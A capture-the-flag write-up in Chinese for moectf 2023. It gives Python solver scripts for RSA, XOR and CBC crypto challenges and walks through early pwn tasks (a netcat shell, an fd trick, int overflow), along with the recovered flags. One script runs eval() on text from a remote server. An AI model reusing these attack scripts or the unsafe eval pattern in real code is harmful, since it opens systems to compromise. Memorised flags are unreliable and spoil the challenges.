from Crypto.Util.number import long_to_bytes, bytes_to_long
from gmpy2 import gcd

p1 = 18055722101348711626577381571859114850735298658417345663254295930584841136416234624852520581982069555948490061840244710773146585295336094872892685938420880462305333393436098181186277450475949236132458958671804132443554885896037342335902958516394876382378829317303693655605215373555988755516058130500801822723195474873517960624159417903134580987202400855946137101429970119186394052011747475879598126195607938106163892658285305921071673588966184054026228745012993740035399652049777986535759039077634555909031397541116025395236871778797949216479130412500655359057128438928721459688727543057760739527720641179290282309741
q1 = 19024691283015651666032297670418553586155390575928421823630922553034857624430114628839720683172187406577114034710093054198921843669645736474448836706112221787749688565566635453151716934583685087745112614898780150391513798368931496744574075511968933800467288441832780919514199410584786925010518564670786685241724643282580795568609339268652910564215887176803735675069372979560024792322029911970574914829712553975379661212645059271137916107885326625543090473004683836665262304916304580076748336858662108554591235698235221618061328251985929904075811056422186525179189846420226944944513865790999242309352900287977666792901
e = 65537
c1 =  10004937130983861141937782436252502991050957330184611684406783226971057978666503675149401388381995491152372622456604317681236160071166819028679754762162125904637599991943368450200313304999566592294442696755822585022667008378021280392976010576970877334159755332946926433635584313137140987588847077645814987268595739733550220882135750267567373532603503399428451548677091911410732474324157868011686641243202218731844256789044721309478991918322850448456919991540932206923861653518190974620161055008847475600980152660468279765607319838003177639654115075183493029803981527882155542925959658123816315099271123470754815045214896642428657264709805029840253303446203030294879166242867850331945166255924821406218090304893024711068773287842075208409312312188560675094244318565148284432361706108491327014254387317744284876018328591380705408407853404828189643214087638328376675071962141118973835178054884474523241911240926274907256651801384433652425740230755811160476356172444327762497910600719286629420662696949923799255603628210458906831175806791599965316549386396788014703044837917283461862338269599464440202019922379625071512100821922879623930069349084917919100015782270736808388388006084027673781004085620817521378823838335749279055639005125
c2 = 4948422459907576438725352912593232312182623872749480015295307088166392790756090961680588458629287353136729331282506869598853654959933189916541367579979613191505226006688017103736659670745715837820780269669982614187726024837483992949073998289744910800139692315475427811724840888983757813069849711652177078415791290894737059610056340691753379065563574279210755232749774749757141836708161854072798697882671844015773796030086898649043727563289757423417931359190238689436180953442515869613672008678717039516723747808793079592658069533269662834322438864456440701995249381880745586708718334052938634931936240736457181295
n1 = 343504538870081878757729748260620800783581983635281373321527119223374418103340873199654926888439040391545101913132680017655039577253974802351999985470115474655124168592386965001556620077117966153475518658881140827499124290142523464795351995478153288872749817655925271395693435582010998996210909883510311066017237567799370371513462802547313382594409676803895262837061350017911885033133654781876923251129406855067993830824618637981136966134029212516871210627954762147349788788999116702635535406398258621926040887099782494271000823401788337120154104692934583729065189687995570122890809807661370008740283447636580308161498808092269041815719148127168137018600113465985504975054319601741498799761500526467431533990903047624407330243357514588557352746347337683868781554819821575385685459666842162355673947984514687068626166144076257334426612302554448774082488600083569900006274897032242821388126274957846236552373226099112200392102883351088570736254707966329366625911183721875374731791052229266503696334310835323523568132399330263642353927504971311717117370721838701629885670598853025212521537158141447625623337563164790788106598854822686494249848796441153496412236527242235888308435573209980270776407776277489669763803746640746378181948641
n2 = 8582505375542551134698364096640878629785534004976071646505285128223700755811329156276289439920192196962008222418309136528180402357612976316670896973298407081310073283979903409463559102445223030866575563539261326076167685019121804961393115251287057504682389257841337573435085535013992761172452417731887700665115563173984357419855481847035192853387338980937451843809282267888616833734087813693242841580644645315837196205981207827105545437201799441352173638172133698491126291396194764373021523547130703629001683366722885529834956411976212381935354905525700646776572036418453784898084635925476199878640087165680193737
factors = [
    18106525049998616747,
    15211380502610462057,
    17093292308638969889,
    12404642343676224637,
    14397830993057803133,
    11092420583960163379,
    14619040595108594017,
    14745811312384518031,
    13645878578452317313,
    16870346804576162551,
    12034779627328165471,
    15175734709842430433,
    14678737767649343977,
    17289161209347211817,
    10049235158029375571,
    15332916111580607077,
    18345408081492711641,
    17543713628803023199,
    11853704782834170959,
    9949603102225364603,
    13062839684118954553,
    18390046459144888243,
    16123604149048919099,
    10596280721192026229,
    10547615587767500213,
    17673334943789572513,
    12448177342966243757,
    17265001711647542137,
    16408421615173973083,
    10864078180916418691,
    15751974537676958401,
    14813953870710226847
]
phi_n2 = 1
phi_n1 = (p1 - 1) * (q1 - 1)
for prime in factors:
    phi_n2 *= (prime - 1)
d1 = gmpy2.invert(e, phi_n1)
d2 = gmpy2.invert(e, phi_n2)
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
print(f'{long_to_bytes(m1).decode()}{long_to_bytes(m2).decode()}')
# moectf{fACtord6_And_YAfu_Are_6oth_good_utils_to_fACtorize_num6ers_ff90S}
```

### |p-q|

```python
from Crypto.Util.number import long_to_bytes
from gmpy2 import gmpy2, invert
n = 329960318345010350458589325571454799968957932130539403944044204698872359769449414256378111233592533561892402020955736786563103586897940757198920737583107357264433730515123570697570757034221232010688796344257587359198400915567115397034901247038275403825404094129637119512164953012131445747740645183682571690806238508035172474685818036517880994658466362305677430221344381425792427288500814551334928982040579744048907401043058567486871621293983772331951723963911377839286050368715384227640638031857101612517441295926821712605955984000617738833973829140899288164786111118033301974794123637285172303688427806450817155786233788027512244397952849209700013205803489334055814513866650854230478124920442832221946442593769555237909177172933634236392800414176981780444770542047378630756636857018730168151824307814244094763132088236333995807013617801783919113541391133267230410179444855465611792191833319172887852945902960736744468250550722314565805440432977225703650102517531531476188269635151281661081058374242768608270563131619806585194608795817118466680430500830137335634289617464844004904410907221482919453859885955054140320857757297655475489972268282336250384384926216818756762307686391740965586168590784252524275489515352125321398406426217
temp = gmpy2.iroot(n, 2)[0]
p = gmpy2.next_prime(temp)
q = n // p
e = 65537
c = 307746143297103281117512771170735061509547958991947416701685589829711285274762039205145422734327595082350457374530975854337055433998982493020603245187129916580627539476324521854057990929173492940833073106540441902619425074887573232779899379436737429823569006431370954961865581168635086246592539153824456681688944066925973182272443586463636373955966146029489121226571408532284480270826510961605206483011204059402338926815599691009406841471142048842308786000059979977645988396524814553253493672729395573658564825709547262230219183672493306100392069182994445509803952976016630731417479238769736432223194249245020320183199001774879893442186017555682902409661647546547835345461056900610391514595370600575845979413984555709077635397717741521573798309855584473259503981955303774208127361309229536010653615696850725905168242705387575720694946072789441481191449772933265705810128547553027708513478130258801233619669699177901566688737559102165508239876805822898509541232565766265491283807922473440397456701500524925191214292669986798631732639221198138026031561329502985577205314190565609214349344303324429408234237832110076900414483795318189628198913032900272406887003325858236057373096880675754802725017537119549989304878960436575670784578550
phi = (p - 1) * (q - 1)
d = invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m).decode())
# moectf{it_iS_vUlnErablE_iF_p_iS_aboUt_thE_SaME_SiZE_aS_Q_MVoAYArrlG3uco}
```

### n\&n

```python
from Crypto.Util.number import *
from gmpy2 import *
e1 = 0x114514
e2 = 19198101
n = 13612969130810965900902742090064423006385890357159609755971027204203418808937093492927060428980020085273603754747223030702684866992231913349067578014240319426522039068836171388168087260774376277346092066880984406890296520951318296354893551565670293486797637522297989653182109744864444697818991039473180752980752117041574628063002176339235126861152739066489620021077091941250365101779354009854706729448088217051728432010328667839532327286559570597994183126402340332924370812383312664419874352306052467284992411543921858024469098268800500500651896608097346389396273293747664441553194179933758992070398387066135330851531
c1 = 5776799746376051463605370130675046329799612910435315968508603116759552095183027263116443417343895252766060748671845650457077393391989018107887540639775168897954484319381180406512474784571389477212123123540984850033695748142755414954158933345476509573211496722528388574841686164433315356667366007165419697987147258498693175698918104120849579763098045116744389310549687579302444264316133642674648294049526615350011916160649448726069001139749604430982881450187865197137222762758538645387391379108182515717949428258503254717940765994927802512049427407583200118969062778415073135339774546277230281966880715506688898978925
c2 = 4664955020023583143415931782261983177552050757537222070347847639906354901601382630034645762990079537901659753823666851165175187728532569040809797389706253282757017586285211791297567893874606446000074515260509831946210526182765808878824360460569061258723122198792244018463880052389205906620425625708718545628429086424549277715280217165880900037900983008637302744555649467104208348070638137050458275362152816916837534704113775562356277110844168173111385779258263874552283927767924979691542028126412133709129601685315027689094437957165812994784648540588277901241854031439324974562449032290219652206466731675967045633360
s = gcdext(e1, e2)
m = pow(c1, s[1], n) * pow(c2, s[2], n) % n
print(long_to_bytes(m).decode())
# moectf{dO_nOt_u53_5AM3_MOdulu5_tO_3ncrYPt_dIFF3r3nt_dAtA!_JY63x33iiA0Ji}
```

### rsa\_signin

```python
from Crypto.Util.number import *
from gmpy2 import *
def find_common_factors(n_values):
    common_factors = {}
    for i in range(len(n_values)):
        for j in range(i + 1, len(n_values)):
            gcd_value = gcd(n_values[i], n_values[j])
            if gcd_value > 1:
                common_factors[(i, j)] = gcd_value
    return common_factors
e = 65537
n = [
    17524722204224696445172535263975543817720644608816706978363749891469511686943372362091928951563219068859089058278944528021615923888948698587206920445508493551162845371086030869059282352535451058203615402089133135136481314666971507135484450966505425514285114192275051972496161810571035753943880190780759479521486741046704043699838021850105638224212696697865987677760179564370167062037563913329993433080123575434871852732981112883423565015771421868680113407260917902892944119552200927337996135278491046562185003012971570532979090484837684759828977460570826320870379601193678304983534424368152743368343335213808684523217,
    24974121071274650888046048586598797033399902532613815354986756278905133499432183463847175542164798764762683121930786715931063152122056911933710481566265603626437742951648885379847799327315791800670175616973945640322985175516271373004547752061826574576722667907302681961850865961386200909397231865804894418194711076667760169256682834206788730947602211228930301853348503098156592000263767190760378847541148772869356389938999094673945092387627113807899212568399028514283219850734634544982646070106811651490010946670117927664594365986238107951837041859682547029079035013475238052160645871718246031144694712586073789250183,
    14215826065753265334521416948225868542990756976323308408298887797364519400310818641526401662106853573185085731682502059761982246604277475488691297554851873224516934619888327644352138127883043558424300092247604877819821625587944308487310522092440517150600171819145803937177931473336108429889165189521078678397694303305705260759351843006130968234071638035667854938070597400634242396852782331461576526836227336952718230741560369621645218729592233657856104560425642219241082727756696967324334634822771842625681505869025740662258929200756109704988223034840699133778958569054445520305361142302393767439478256174414187983763,
    12221355905532691305226996552124162033756814028292708728711809229588190407700199452617060657420166395065565154239801465361510672853972152857415394695376825120759202857555325904640144375262531345320714166285999668052224661520834318497234299585219832943519644095197479639328120838919035625832361810964127485907587199925564724081163804724975965691571850962714258888527902920462746795711511579424322515292865504642938090200503979483095345893697972170153990274670257331483858538617460680462369680572833191232126527727222302641204529110948993583190295067970240051042000918629138767209918572311469915774910003970381965123241,
    18152103454920389919231636321286527841833809319334215885641536161086810144890443857211776387914779781628740172079478910188540146498426564211851629962338413488555121865779016981727229209606498886170396500155102635962395243364899026418106378234307821492609778555173516000309435730752571818439328803899462791834490025768785383592935046996428331508608555503567191807692523852530836008486655164751054189301721070209363416058642811329040202582026786024825518381761299547703962502636888833428457116986351812252188468878701301184044948733274488264320930936362549028124581962244201377136969591119942276742760215403738913067567,
    22877887459293720334652698748191453972019668578065068224653972884599636421200068659750242304040301306798039254241668648594556654589309801728248683586229288074709849246660525799452637187132633064172425677552176203292787732404537215347782229753837476655088638984496409603054524994383358547132112778403912563916886533181616856401929346567686400616307916690806467019665390260267596320840786982457521423178851498130935577260638269429250197050326097193841333205073650802709022947551398142692735680419453533128176592587955634333425401930362881423044363132586170013458300714163531162544301477356808388416864173949089028317961,
    19844333358004073542783728196775487079202832688982038135532362073659058674903791697765527614270399097276261983744620537925712167578187109058145015032736796457938148615396547198728652435169126585595701228287449135664667959433491335769206692390262797325133960778920452511673878233190120432257482339068405290918739453464061987163074129048150451046315248186376609350095502130018696275764450248681787926130463463923862832714969425813770847493135627599129546112143050369344208092649256659330284904392961574494907186727388685504929586018639846040474616307662546605623294842316524163106100888851228858194942825157286544846177,
    16956880944655068255446705024149899655327230949463546092744762226005904114738078692036960935391303255804754787864713189658290361949509917704853428701870609882427423574672772606814823959758208695540116440342488334213300943604780971422918744381486937517952553797134323570131582724393100092308466968491068503301604506186521656059375518680612292667310641047190088814753025794048591445267711939066523165042651430468971452726568222388482323097260496415484997546126185688914792795834046855221759289007609518312601640548469651358391745947588643697900883634533872314566389446271647587564348026861264979727062157272541149018781,
    16472195897077185060734002588086375750797253422014472876266294484788862733424113898147596402056889527985731623940969291811284437034420929030659419753779530635563455664549165618528767491631867637613948406196511848103083967995689432928779805192695209899686072900265108597626632371718430059561807147486376536203800038054012500244392964187780217667805308512187849789773573138494622201856638931435423778275004491853486855300574479177472267767506041000072575623287557610576406578525902565241580838652860552046216587141709709405062150243990097835181557208274750462554811004137033087430556692966525170882625891516050207318491,
    13890749889361612188368868998653029697326614782260719535555306236512452110708495623964530174188871342332417484996749651846510646453983388637377706674890018646246874688969342600780781646175634455109757266442675502522791531161284420286435654971819525519296719668701529481662071464145515727217108362496784024871976015116522898184301395037566514980846499856316532479656908169681719288258287756566886281183699239684997698487409138330229321935477734921670373632304542254938831218652340699024011371979519574576890581492623709896310465567043899767342676912434857372520308852745792360420376574037705943820090308501053778144141,
    21457499145521259498911107987303777576783467581104197687610588208126845121702391694574491025398113729462454256070437978257494064504146718372095872819969887408622112906108590961892923178192792218161103488204912792358327748493857104191029765218471874759376809136402361582721860433355338373725980783308091544879562698835405262108188595630215081260699112737457564998798692048522706388318528370551365364702529068656665853097899157141017378975007689790000067275142731212069030175682911154288533716549782283859340452266837760560153014200605378914071410125895494331253564598702942990036163269043699029806343766286247742865671
]
common_factors = find_common_factors(n)
p = list(common_factors.values())[0]
q = n[2] // p
phi = (p - 1) * (q - 1)
d = invert(e, phi)
c_2 = 415916446053083522663299405080903121619846594209033663622616979372099135281363175464579440520262612010099820951944229484417996994283898028928384268216113118778734726335389504987546718739928112684600918108591759061734340607527889972020273454098314620790710425294297542021830654957828983606433731988998097351888879368160881316237557097381718444193741788664735559392675419489952796677690968481917700683813252460912749931286739585465657312416977086336732056497161860235343155953578618273940135486362350057858779130960380833359506761436212727289297656191243565734621757889931250689354508999144817518599291078968866323093
print(long_to_bytes(pow(c_2, d, n[2])).decode())

# moectf{it_is_re@lly_@_signin_level_cryPto_ch@ll@nge_ng92WPIBung92WPIBun}
```

### xorrrrrrrrr

```python
flag = open('flag.txt','rb').read()
assert flag.startswith(b'moectf{') and flag.endswith(b'}')
article = open('article.txt','rb').read()

import random

strxor = lambda x,y: bytes([a^b for a,b in zip(x,y)])

result = []

for i in range(100):
    range_start = random.randint(0, len(article) - len(flag))
    mask = article[range_start:range_start + len(flag)]
    result.append(strxor(flag,mask))

with open("result.log","w") as fs:
    fs.writelines([str(i)+"\n" for i in result])
```

`result.log` 的内容是通过从 `article.txt` 随机裁取 flag 长度的内容与 flag 进行异或的结果，一共循环 100 次也就是有 100 条异或结果。通过断言可以得到 flag 的前七个字节为 `moectf{` ，最后一个字节为 `}` 。因此通过将 `result.log` 每条的前七个字节与 `moectf{` 进行异或就可以获得 `article.txt` 中的 7 个字节，具体代码如下所示。

```python
with open('./moectf/result.log', 'r') as f:
    results = [eval(line.strip()) for line in f.readlines()]
    
keys = []

strxor = lambda x, y: bytes([a ^ b for a, b in zip(x, y)])

for result in results:
    keys.append(strxor(result[:7], "moectf{".encode()))
    
# keys = [b'mers wh', b'ractica', b'flow vu', b'citing ', b'are com', b'rs. You', ...]
```

由于 100 次循环中，每次裁取得地方不同，部分会包含 keys 得内容，那么我们就可以通过这个进行爆破 flag 得中间部分。

```python
count = {}

def is_printable(a_result):
    printable = lambda s: s in string.printable.replace("\t", "").replace("\n", "").replace("\x0b", "").replace("\x0c",
                                                                                                                "").replace(
        "\r", "").replace(" ", "").encode()
    return all([printable(c) for c in a_result])

index = {}

def all_possiable(result, key):
    for i in range(72 - 7):
        r = strxor(result[i + 7:i + 7 + 7], key)
        if is_printable(r):
            if r in count:
                count[r] = count[r] + 1
            else:
                count[r] = 1
            index[r] = i

for result in results:
    for key in keys:
        all_possiable(result, key)

for i in sorted(count.items(), key=lambda kv: (kv[1], kv[0]))[::-1][:1000]:
    if len(i[0]) == 7:
        print(i, index[i[0]])
```

通过 `is_printable()` 可以判断该字节是否为可打印字符，通过 `all_possiable()` 函数不断从每条得第八个字节开始进行每七个字节每七个字节得读取与 keys 中的内容进行异或处理，并且计算每个输出的个数判断频率。最后通过 `sorted()` 函数进行筛选并输出前 1000 个（如果不筛选的话有 27w 条），根据输出的内容进行拼接就可以得到 flag 了。

```python
(b'red_tHe', 20) 18
(b'_y0U_Ha', 20) 3
(b'_tHe_x0', 20) 21
(b'He_x0r_', 20) 23
(b'0Peart0', 20) 30
(b'ered_tH', 19) 17
(b'ed_tHe_', 19) 19
(b'_x0r_0P', 19) 25
(b'U_HaVe_', 19) 6
(b'0r_0Pea', 19) 27
(b'tHe_x0r', 18) 22
(b'JoxiMl}', 18) 58
(b'd_tHe_x', 17) 20
(b'3rux9G9', 16) 48
(b'0W_y0U_', 16) 1
(b'astered', 15) 14
(b'YlJf!M3', 15) 42
(b'0iYlJf!', 15) 40
(b'x0r_0Pe', 14) 26
(b'rt0r!_0', 14) 34
(b'f!JoxiM', 14) 56
(b'e_x0r_0', 14) 24
(b'r_0Pear', 13) 28
(b'mastere', 13) 13
(b'f!M3rux', 13) 45
(b'eart0r!', 13) 32
(b'_master', 13) 12
(b'_0Peart', 13) 29
(b'0U_HaVe', 13) 5
(b'!M3rux9', 13) 46
(b'ux9G9Vf', 12) 50
(b'stered_', 12) 15
(b'W0W_y0U', 12) 0
(b'HaVe_ma', 12) 8
(b'lJf!M3r', 11) 43
(b'art0r!_', 11) 33
(b'iYlJf!M', 10) 41
(b'Dh6>Lof', 10) 58
(b'!_0iYlJ', 10) 38
(b'y0U_HaV', 9) 4
(b'x9G9Vf!', 9) 51
(b't0r!_0i', 9) 35
(b'r!_0iYl', 9) 37
(b'e_maste', 9) 11
(b'aVe_mas', 9) 9
(b'Vf!Joxi', 9) 55
(b'Ve_mast', 9) 10
(b'M3rux9G', 9) 47
(b'0r!_0iY', 9) 36
(b'tered_t', 8) 16
(b'rux9G9V', 8) 49
(b'kf<#1q:', 8) 32
(b'Peart0r', 8) 31
(b'G9Vf!Jo', 8) 53
(b'_HaVe_m', 7) 7
(b'_0iYlJf', 7) 39
(b'9G9Vf!J', 7) 52
(b'~bejYmV', 6) 17
(b'~I-Mc|j', 6) 22
(b'}r$o^!R', 6) 17
(b'y=Xis$V', 6) 56
(b'tc-xB!N', 6) 17
(b'pe+=XnM', 6) 17
(b'XHG3P*@', 6) 6
(b'Wi!2l`d', 6) 14
(b'W_y0U_H', 6) 2
(b'Vq-Krsc', 6) 55
(b'Jf!M3ru', 6) 44
(b'ErP*6=@', 6) 23
(b'=u;/8D"', 6) 48
(b'=Gj3t;/', 6) 30
(b';Y0Zx2y', 6) 22
(b'2\\|3o<=', 6) 30
(b'1s0oYo]', 6) 17
(b'}\\)Db|q', 5) 22
(b'|o:xp_:', 5) 48
(b'|f;kpN#', 5) 48
(b'xR+Kt,j', 5) 22
(b'x0=GhV)', 5) 18
(b'wQeDt=l', 5) 22
(b're*L=Pa', 5) 18
(b'mb+OoEd', 5) 18
(b'kObFkh>', 5) 28
(b'k7=1D=h', 5) 35
(b'j~\\7F14', 5) 21
(b'jy(D=Hl', 5) 18
(b'i^80I@"', 5) 24
(b'h_#Cl$:', 5) 28
(b'gZFgyW]', 5) 1
(b'gYvgHC9', 5) 24
(b'gFtSiRf', 5) 20
(b"`f2'=`'", 5) 46
(b'\\d[7^/6', 5) 21
(b'[{&#{we', 5) 13
(b'WkVf&U*', 5) 42
(b'Wh=}Pnt', 5) 58
(b'Vc+jAmb', 5) 58
(b'V4xJLib', 5) 58
(b'LixuJof', 5) 58
(b'HzBvxNX', 5) 23
(b'CcFpC95', 5) 21
(b'?Ksais"', 5) 30
(b'=qbj/A=', 5) 34
(b';d*]1+w', 5) 22
(b"9',`%Yu", 5) 48
(b"3r'/?\\;", 5) 48
(b'3p9j4L0', 5) 48
(b"3j%z$N'", 5) 48
(b"0kuc5J'", 5) 48
(b"0f'/6^;", 5) 48
(b'+s;J,D}', 5) 20
(b'+Z&PkAu', 5) 20
(b'*w7|QjE', 5) 17
(b')sz|o:x', 5) 45
(b'"w<mjq|', 5) 13
(b'"M<v,i`', 5) 13
(b'!JoxiMl', 5) 57
(b'~twQ=Si', 4) 50
(b'~]h3hr2', 4) 30
(b'~Emahq}', 4) 11
(b'~6B-N+r', 4) 27
(b'~%X(s;c', 4) 45
(b'}utsum(', 4) 14
(b'}s+%dgD', 4) 15
(b'}oK*);[', 4) 23
(b'}hm=xeL', 4) 15
(b'}U,do=y', 4) 11
(b'}6ds>H3', 4) 48
(b'|~-]2,\\', 4) 36
(b'|uWkVf&', 4) 40
(b'|oZ&R-R', 4) 19
(b'|lkf<#1', 4) 30
(b"|hA{M|'", 4) 40
(b'|cyeu_v', 4) 16
(b'|ZD`0U_', 4) 1
(b"|Tjw<'7", 4) 30
(b'|SxJ(nR', 4) 41
(b'|Qqau:?', 4) 30
(b'|Qa"L8m', 4) 54
(b'|Me@kz?', 4) 9
(b'|L.+H}&', 4) 43
(b'|Fm~u89', 4) 30
```

最后拼出来的 flag 如下

```
moectf{W0W_y0U_HaVe_mastered_tHe_x0r_0Peart0r!_0iYlJf!M3rux9G9Vf!JoxiMl}
```

### giant\_e

> <https://raw.githubusercontent.com/orisano/owiener/master/owiener.py>

当 e 很大的时候，d 就挺小

```python
from Crypto.Util.number import long_to_bytes
import owiener
e = 0x609778981bfbb26bb93398cb6d96984616a6ab08ade090c1c0d4fedb00f44f0552a1555efec5cc66e7960b61e94e80e7483b9f906a6c8155a91cdc3e4917fa5347c58a2bc85bb160fcf7fe98e3645cfea8458ea209e565e4eb72ee7cbb232331a862d8a84d91a0ff6d74aa3c779b2b129c3d8148b090c4193234764f2e5d9b2170a9b4859501d07c0601cdd18616a0ab2cf713a7c785fd06f27d68dff24446d884644e08f31bd37ecf48750e4324f959a8d37c5bef25e1580851646d57b3d4f525bc04c7ddafdf146539a84703df2161a0da7a368675f473065d2cb661907d990ba4a8451b15e054bfc4dd73e134f3bf7d8fa4716125d8e21f946d16b7b0fc43
c = 0x45a9ce4297c8afee693d3cce2525d3399c5251061ddd2462513a57f0fd69bdc74b71b519d3a2c23209d74fcfbcb6b196b5943838c2441cb34496c96e0f9fc9f0f80a2f6d5b49f220cb3e78e36a4a66595aa2dbe3ff6e814d84f07cb5442e2d5d08d08aa9ccde0294b39bfde79a6c6dcd2329e9820744c4deb34a039da7933ddf00b0a0469afb89cba87490a39783a9b2f8f0274f646ca242e78a326dda886c213bc8d03ac1a9150de4ba08c5936c3fe924c8646652ef85aa7ac0103485f472413427a0e9d9a4d416b99e24861ca8499500c693d7a07360158ffffa543480758cafff2a09a9f6628f92767764fa026d48a9dd899838505ae16e38910697f9de14
n = 0xbaa70ba4c29eb1e6bb3458827540fce84d40e1c966db73c0a39e4f9f40e975c42e02971dab385be27bd2b0687e2476894845cc46e55d9747a5be5ca9d925931ca82b0489e39724ea814800eb3c0ea40d89ebe7fe377f8d3f431a68d209e7a149851c06a4e67db7c99fcfd9ec19496f29d59bb186feb44a36fe344f11d047b9435a1c47fa2f8ed72f59403ebb0e439738fd550a7684247ab7da64311690f461e6dce03bf2fcd55345948a3b537087f07cd680d7461d326690bf21e39dff30268cb33f86eeceff412cd63a38f7110805d337dcad25e6f7e3728b53ca722b695b0d9db37361b5b63213af50dd69ee8b3cf2085f845d7932c08b27bf638e98497239

d = owiener.attack(e, n)

print(long_to_bytes(pow(c, d, n)))
# moectf{too_larGe_exponent_is_not_a_iDea_too!_Bung92WPIBung92WPIBung9?WP}
```

### ez\_chain

```python
def blockize(long):
    out = []
    while long > 0:
        out.append(long % base)
        long //= base
    return list(reversed(out))

blocks = blockize(m)
```

`blockize()` 函数会将传入的 long 值由十进制转换成 base 进制，在本题中 base 如下。

```python
base = bytes_to_long(b"koito") = 461430682735
```

通过以下题目内容

```python
assert len(flag) == 72
print(encrypt_block_cbc(blocks, iv, key))
# [8490961288, 122685644196, 349851982069, 319462619019, 74697733110, 43107579733, 465430019828, 178715374673, 425695308534, 164022852989, 435966065649, 222907886694, 420391941825, 173833246025, 329708930734]
```

可以得知 flag 共 72 字符，转 base 进制后共 15 位，最高位是 $461430682735^{14}$ ，又因为 flag 的前七个字符为 `moectf{` ，通过以下代码

```python
first = "moectf{0}{1}{2}".format('{', '1' * 64, '}')
second = "moectf{0}{1}{2}".format('{', 'b' * 64, '}')
print("moectf{0}{1}{2}".format('{', '1' * 64, '}'))
print("moectf{0}{1}{2}".format('{', '5' * 64, '}'))
print(blockize(bytes_to_long(first.encode())))
print(blockize(bytes_to_long(second.encode())))
"""
[5329712293, 126494098340, 153597856955, 242892191641, 28680140924, 170513630989, 14482395232, 413336526109, 440072292209, 238157420150, 359568109605, 336722793770, 114932087705, 442402117522, 155888680347]
[5329712293, 126494113681, 412307442966, 223567461220, 265567505631, 283536975878, 441347697513, 92786431363, 341104088824, 89919877328, 103798180169, 361771096704, 429900835874, 213202888672, 337161076933]
"""
```

可以发现数组的第一个值都是 `5329712293` ，因此可以推断出 `blocks[0]` 的值就是 `5329712293` 。

又因为 $encrypted\[0] = blocks\[0],\oplus,iv,\oplus,key $ ，反推即可得到 $key = blocks\[0],\oplus,iv,\oplus,encrypted\[0] $ 。

通过上述式子就可以得到 key 值为 `421036458` ，实现代码如下。

```python
first = "moectf{0}{1}{2}".format('{', '1' * 64, '}')
iv = 3735927943
key = blockize(bytes_to_long(first.encode()))[0] ^ 8490961288 ^ iv
print(key) # 421036458
```

得到 key 后就可以通过 $blocks\[i] = encrypted\[i],\oplus,encrypted\[i-1],\oplus,key $ 一路逆推出整个 blocks 数组，最后再编写一个 base 进制转十进制的函数进行转换最后再用 `long_to_bytes()` 函数转就可以得到 flag 了，实现代码如下

```python
from Crypto.Util.number import long_to_bytes, bytes_to_long

key = 421036458
iv = 3735927943
base = bytes_to_long(b"koito")

encrypted_blocks_with_iv = [
    3735927943, 8490961288, 122685644196, 349851982069, 319462619019,
    74697733110, 43107579733, 465430019828, 178715374673,
    425695308534, 164022852989, 435966065649, 222907886694,
    420391941825, 173833246025, 329708930734
]


def decrypt_block_cbc(key):
    decrypted = []
    for i in range(1, len(encrypted_blocks_with_iv)):
        decrypted_block = encrypted_blocks_with_iv[i] ^ encrypted_blocks_with_iv[i - 1] ^ key
        decrypted.append(decrypted_block)
    return decrypted


decrypted_blocks = decrypt_block_cbc(key)


def base_to_decimal(blocks, base):
    blocks_reversed = blocks[::-1]
    decimal_val = 0
    for i, block in enumerate(blocks_reversed):
        decimal_val += block * (base ** i)
    return decimal_val


flag = long_to_bytes(base_to_decimal(decrypted_blocks, base))
print(flag)
# b'moectf{thE_c6c_Is_not_so_hard_9ifxi9i!JGofMJ36D9cPMxroif6!M6oSMuliPPcA3}'
```

## Pwn

### 入门指北

moectf{M4ke\_A\_Promi5e\_7hat\_1\_C4nn0t\_Re9ret}

### test\_nc

```bash
$ nc localhost 44085
Oh, welcome here. Here is a shell for you.
ls -la
total 92
drwxr-x--- 1 0 1000  4096 Aug 14 09:58 .
drwxr-x--- 1 0 1000  4096 Aug 14 09:58 ..
-rwxr-x--- 1 0 1000   220 Feb 25  2020 .bash_logout
-rwxr-x--- 1 0 1000  3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 0    0    41 Aug 14 09:58 .flag
-rwxr-x--- 1 0 1000   807 Feb 25  2020 .profile
drwxr-x--- 1 0 1000  4096 Aug  8 04:20 bin
drwxr-x--- 1 0 1000  4096 Aug  8 04:20 dev
-rw-r--r-- 1 0    0    31 Aug 14 09:58 gift
drwxr-x--- 1 0 1000  4096 Apr 29 13:36 lib
drwxr-x--- 1 0 1000  4096 Apr 29 13:36 lib32
drwxr-x--- 1 0 1000  4096 Apr 29 13:36 lib64
drwxr-x--- 1 0 1000  4096 Apr 29 13:36 libx32
-rwxr-x--- 1 0 1000 19656 Aug  8 04:19 test_nc
cat .flag
moectf{8Z3WdoCA1yTVggZE5mquNP-8nOqQKUAM}
```

### baby\_calculator

```python
import re

from pwnlib.tubes.remote import remote

io = remote("127.0.0.1", 45499)
ret = io.recvline()

count = 0

while 1:
    print(ret)
    if count == 100:
        print(io.recvall())
        break
    if b"=" in ret:
        status = eval(re.sub("=", "==", ret.decode()))
        if status:
            print("BlackBird")
            count += 1
            io.sendline(b"BlackBird")
            ret = io.recvline()
        else:
            print("WingS")
            count += 1
            io.sendline(b"WingS")
            ret = io.recvline()
    else:
        ret = io.recvline()

# moectf{H4ve_y0u_rea11y_useD_Pwnt00ls??????}
```

### fd

反编译可以得到以下内容

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int input; // [rsp+4h] [rbp-6Ch] BYREF
  int fd; // [rsp+8h] [rbp-68h]
  int new_fd; // [rsp+Ch] [rbp-64h]
  char flag[80]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v8; // [rsp+68h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  input = 0;
  init();
  puts("Do you know fd?");
  fd = open("./flag", 0, 0LL);
  new_fd = (4 * fd) | 0x29A;
  dup2(fd, new_fd);
  close(fd);
  puts("Which file do you want to read?");
  puts("Please input its fd: ");
  __isoc99_scanf("%d", &input);
  read(input, flag, 0x50uLL);
  puts(flag);
  return 0;
}
```

`fd` 的值通常从3开始（0, 1, 2通常是标准输入、输出、错误）

```python
fd = 3
new_fd = (4 * fd) | 0x29A
print(new_fd)
# 670
```

输入 `670` 后即可得到 flag 如下

```
moectf{3NweDualuBwfyp6GlkyYbwJIExehrO5q}
```

### int\_overflow

反编译可以得到以下内容

```c
void __cdecl vuln()
{
  int n; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Welcome to Moectf2023.");
  puts("Do you know int overflow?");
  puts("Can you make n == -114514 but no '-' when you input n.");
  puts("Please input n:");
  get_input(&n);
  if ( n == -114514 )
    backdoor();
  puts("Maybe you should search and learn it.");
}
```

